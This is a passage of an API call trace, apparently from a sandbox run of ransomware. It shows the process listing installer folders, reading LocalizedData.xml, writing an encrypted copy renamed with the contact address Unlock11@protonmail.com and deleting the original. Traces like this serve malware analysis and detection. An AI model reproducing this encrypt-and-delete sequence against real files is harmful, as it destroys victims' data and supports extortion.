ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0114.172] GetCurrentThreadId () returned 0x9b0 [0114.172] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0114.173] GetCurrentThreadId () returned 0x9b0 [0114.173] FindClose (in: hFindFile=0x10f7750 | out: hFindFile=0x10f7750) returned 1 [0114.173] GetCurrentThreadId () returned 0x9b0 [0114.173] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 0x80 [0114.173] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0114.173] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0114.173] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 0x80 [0114.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0114.174] GetCurrentThreadId () returned 0x9b0 [0114.174] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 0x80 [0114.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0114.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0114.174] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1035\\eula.rtf", lpFilePart=0x9bada4*="eula.rtf") returned 0x23 [0114.174] GetCurrentThreadId () returned 0x9b0 [0114.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0114.174] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0114.174] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0114.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0114.175] GetCurrentThreadId () returned 0x9b0 [0114.175] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml", lpFilePart=0x9bada4*="LocalizedData.xml") returned 0x2c [0114.175] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0114.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0114.175] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0114.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0114.175] GetCurrentThreadId () returned 0x9b0 [0114.175] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cd18 [0114.175] GetCurrentThreadId () returned 0x9b0 [0114.175] GetCurrentThreadId () returned 0x9b0 [0114.175] GetCurrentThreadId () returned 0x9b0 [0114.176] GetCurrentThreadId () returned 0x9b0 [0114.176] GetCurrentThreadId () returned 0x9b0 [0114.176] GetCurrentThreadId () returned 0x9b0 [0114.176] GetCurrentThreadId () returned 0x9b0 [0114.176] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde)) returned 1 [0114.176] GetCurrentThreadId () returned 0x9b0 [0114.176] GetCurrentThreadId () returned 0x9b0 [0114.176] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36641c4 | out: pbBuffer=0x36641c4) returned 1 [0114.176] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0114.177] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0114.177] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0114.177] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cb38 [0114.177] GetCurrentThreadId () returned 0x9b0 [0114.177] GetCurrentThreadId () returned 0x9b0 [0114.177] GetCurrentThreadId () returned 0x9b0 [0114.177] GetCurrentThreadId () returned 0x9b0 [0114.177] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6cc8 [0114.177] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0114.177] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0114.178] GetFileType (hFile=0x39c) returned 0x1 [0114.178] GetLastError () returned 0x0 [0114.178] GetCurrentThreadId () returned 0x9b0 [0114.178] GetLastError () returned 0x0 [0114.178] GetFileType (hFile=0x39c) returned 0x1 [0114.178] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.178] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.178] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.178] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.178] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.178] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.178] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.178] GetLastError () returned 0x0 [0114.179] GetCurrentThreadId () returned 0x9b0 [0114.179] GetLastError () returned 0x0 [0114.179] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d78 | out: hHeap=0x2ad0000) returned 1 [0114.179] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0114.179] GetLastError () returned 0x0 [0114.179] GetLastError () returned 0x0 [0114.179] GetLastError () returned 0x0 [0114.179] GetLastError () returned 0x0 [0114.179] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0114.179] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6d48 [0114.179] GetLastError () returned 0x0 [0114.179] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0114.183] GetFileType (hFile=0x3ac) returned 0x1 [0114.183] GetLastError () returned 0x0 [0114.183] GetCurrentThreadId () returned 0x9b0 [0114.183] GetLastError () returned 0x0 [0114.183] GetFileType (hFile=0x3ac) returned 0x1 [0114.184] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.184] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.184] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.184] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.184] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.184] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.184] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.184] GetLastError () returned 0x0 [0114.184] GetCurrentThreadId () returned 0x9b0 [0114.184] GetLastError () returned 0x0 [0114.184] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d48 | out: hHeap=0x2ad0000) returned 1 [0114.184] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1f38 | out: hHeap=0x2ad0000) returned 1 [0114.184] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0114.185] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0114.185] GetLastError () returned 0x0 [0114.185] GetLastError () returned 0x0 [0114.185] GetCurrentThreadId () returned 0x9b0 [0114.185] GetLastError () returned 0x0 [0114.185] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0114.185] GetLastError () returned 0x0 [0114.185] GetLastError () returned 0x0 [0114.185] GetCurrentThreadId () returned 0x9b0 [0114.185] GetLastError () returned 0x0 [0114.185] GetLastError () returned 0x0 [0114.187] GetLastError () returned 0x0 [0114.187] GetCurrentThreadId () returned 0x9b0 [0114.187] GetLastError () returned 0x0 [0114.187] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cc8 | out: hHeap=0x2ad0000) returned 1 [0114.188] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0114.188] GetCurrentThreadId () returned 0x9b0 [0114.188] GetLastError () returned 0x0 [0114.188] GetLastError () returned 0x0 [0114.188] GetLastError () returned 0x0 [0114.188] GetLastError () returned 0x0 [0114.189] GetCurrentThreadId () returned 0x9b0 [0114.189] GetLastError () returned 0x0 [0114.189] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.189] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0114.189] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0114.189] GetLastError () returned 0x0 [0114.191] GetLastError () returned 0x0 [0114.191] GetCurrentThreadId () returned 0x9b0 [0114.191] GetLastError () returned 0x0 [0114.191] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0114.191] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0114.191] GetLastError () returned 0x0 [0114.191] GetLastError () returned 0x0 [0114.192] GetCurrentThreadId () returned 0x9b0 [0114.192] GetLastError () returned 0x0 [0114.192] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x2cf3) returned 0x36f8548 [0114.192] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.192] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x2cf5) returned 0x36f8548 [0114.192] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6c58 [0114.192] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c78 | out: hHeap=0x2ad0000) returned 1 [0114.192] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x2cf8) returned 0x38273e0 [0114.192] GetCurrentThreadId () returned 0x9b0 [0114.192] GetLastError () returned 0x0 [0114.192] GetLastError () returned 0x0 [0114.193] GetLastError () returned 0x0 [0114.193] GetLastError () returned 0x0 [0114.193] GetCurrentThreadId () returned 0x9b0 [0114.193] GetLastError () returned 0x0 [0114.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38273e0 | out: hHeap=0x2ad0000) returned 1 [0114.193] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0114.193] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0114.193] GetLastError () returned 0x0 [0114.193] GetLastError () returned 0x0 [0114.193] GetCurrentThreadId () returned 0x9b0 [0114.194] GetLastError () returned 0x0 [0114.194] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0114.194] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0114.194] GetLastError () returned 0x0 [0114.194] GetLastError () returned 0x0 [0114.194] GetCurrentThreadId () returned 0x9b0 [0114.194] GetLastError () returned 0x0 [0114.194] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.194] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.194] GetLastError () returned 0x0 [0114.194] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0114.195] CloseHandle (hObject=0x3ac) returned 1 [0114.195] GetLastError () returned 0x0 [0114.195] GetCurrentThreadId () returned 0x9b0 [0114.195] GetLastError () returned 0x0 [0114.195] GetLastError () returned 0x0 [0114.195] CloseHandle (hObject=0x39c) returned 1 [0114.195] GetLastError () returned 0x0 [0114.195] GetCurrentThreadId () returned 0x9b0 [0114.195] GetLastError () returned 0x0 [0114.195] GetLastError () returned 0x0 [0114.196] GetLastError () returned 0x0 [0114.196] GetLastError () returned 0x0 [0114.196] GetLastError () returned 0x0 [0114.196] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 1 [0114.197] GetLastError () returned 0x0 [0114.197] GetCurrentThreadId () returned 0x9b0 [0114.197] GetLastError () returned 0x0 [0114.198] GetCurrentThreadId () returned 0x9b0 [0114.198] GetLastError () returned 0x0 [0114.198] GetLastError () returned 0x0 [0114.198] GetLastError () returned 0x0 [0114.198] GetLastError () returned 0x0 [0114.198] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1035\\SetupResources.dll", lpFilePart=0x9bada4*="SetupResources.dll") returned 0x2d [0114.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0114.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0114.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0114.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0114.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0114.198] GetCurrentThreadId () returned 0x9b0 [0114.199] GetLastError () returned 0x0 [0114.199] GetLastError () returned 0x0 [0114.199] GetLastError () returned 0x0 [0114.199] GetLastError () returned 0x0 [0114.199] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f76d0 [0114.199] GetLastError () returned 0x0 [0114.199] GetCurrentThreadId () returned 0x9b0 [0114.199] GetLastError () returned 0x0 [0114.199] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0114.199] GetLastError () returned 0x0 [0114.199] GetCurrentThreadId () returned 0x9b0 [0114.200] GetLastError () returned 0x0 [0114.200] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0114.200] GetLastError () returned 0x0 [0114.200] GetCurrentThreadId () returned 0x9b0 [0114.200] GetLastError () returned 0x0 [0114.200] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0114.200] GetLastError () returned 0x0 [0114.200] GetCurrentThreadId () returned 0x9b0 [0114.200] GetLastError () returned 0x0 [0114.200] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0114.200] GetLastError () returned 0x0 [0114.200] GetCurrentThreadId () returned 0x9b0 [0114.200] GetLastError () returned 0x0 [0114.200] FindNextFileA (in: hFindFile=0x10f76d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0114.201] GetLastError () returned 0x12 [0114.201] GetCurrentThreadId () returned 0x9b0 [0114.201] GetLastError () returned 0x12 [0114.201] GetLastError () returned 0x12 [0114.201] FindClose (in: hFindFile=0x10f76d0 | out: hFindFile=0x10f76d0) returned 1 [0114.201] GetCurrentThreadId () returned 0x9b0 [0114.201] GetLastError () returned 0x12 [0114.201] GetLastError () returned 0x12 [0114.201] GetLastError () returned 0x12 [0114.201] GetLastError () returned 0x12 [0114.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0114.202] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 0x80 [0114.202] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0114.202] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0114.202] GetLastError () returned 0x12 [0114.202] GetLastError () returned 0x12 [0114.202] GetLastError () returned 0x12 [0114.202] GetLastError () returned 0x12 [0114.202] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0114.202] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 0x80 [0114.203] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0114.203] GetCurrentThreadId () returned 0x9b0 [0114.203] GetLastError () returned 0x12 [0114.203] GetLastError () returned 0x12 [0114.203] GetLastError () returned 0x12 [0114.203] GetLastError () returned 0x12 [0114.203] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0114.203] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 0x80 [0114.204] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0114.204] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.204] GetLastError () returned 0x12 [0114.204] GetLastError () returned 0x12 [0114.204] GetLastError () returned 0x12 [0114.204] GetLastError () returned 0x12 [0114.204] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1036\\eula.rtf", lpFilePart=0x9bada4*="eula.rtf") returned 0x23 [0114.205] GetCurrentThreadId () returned 0x9b0 [0114.205] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0114.205] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0114.205] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0114.205] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0114.205] GetCurrentThreadId () returned 0x9b0 [0114.205] GetLastError () returned 0x12 [0114.205] GetLastError () returned 0x12 [0114.205] GetLastError () returned 0x12 [0114.205] GetLastError () returned 0x12 [0114.205] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml", lpFilePart=0x9bada4*="LocalizedData.xml") returned 0x2c [0114.205] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0114.206] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0114.206] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0114.206] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0114.206] GetCurrentThreadId () returned 0x9b0 [0114.206] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.206] GetLastError () returned 0x0 [0114.206] GetLastError () returned 0x0 [0114.206] GetLastError () returned 0x0 [0114.206] GetLastError () returned 0x0 [0114.206] GetCurrentThreadId () returned 0x9b0 [0114.206] GetLastError () returned 0x0 [0114.207] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.207] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cd18 [0114.207] GetLastError () returned 0x0 [0114.207] GetLastError () returned 0x0 [0114.207] GetLastError () returned 0x0 [0114.207] GetLastError () returned 0x0 [0114.207] GetCurrentThreadId () returned 0x9b0 [0114.207] GetLastError () returned 0x0 [0114.207] GetCurrentThreadId () returned 0x9b0 [0114.207] GetLastError () returned 0x0 [0114.207] GetLastError () returned 0x0 [0114.207] GetLastError () returned 0x0 [0114.207] GetLastError () returned 0x0 [0114.208] GetCurrentThreadId () returned 0x9b0 [0114.208] GetLastError () returned 0x0 [0114.208] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cd18 | out: hHeap=0x2ad0000) returned 1 [0114.208] GetLastError () returned 0x0 [0114.208] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0114.208] GetLastError () returned 0x0 [0114.208] GetLastError () returned 0x0 [0114.208] GetLastError () returned 0x0 [0114.208] GetCurrentThreadId () returned 0x9b0 [0114.208] GetLastError () returned 0x0 [0114.208] GetLastError () returned 0x0 [0114.209] GetLastError () returned 0x0 [0114.209] GetLastError () returned 0x0 [0114.209] GetLastError () returned 0x0 [0114.209] GetCurrentThreadId () returned 0x9b0 [0114.209] GetLastError () returned 0x0 [0114.209] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0114.209] GetLastError () returned 0x0 [0114.209] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, 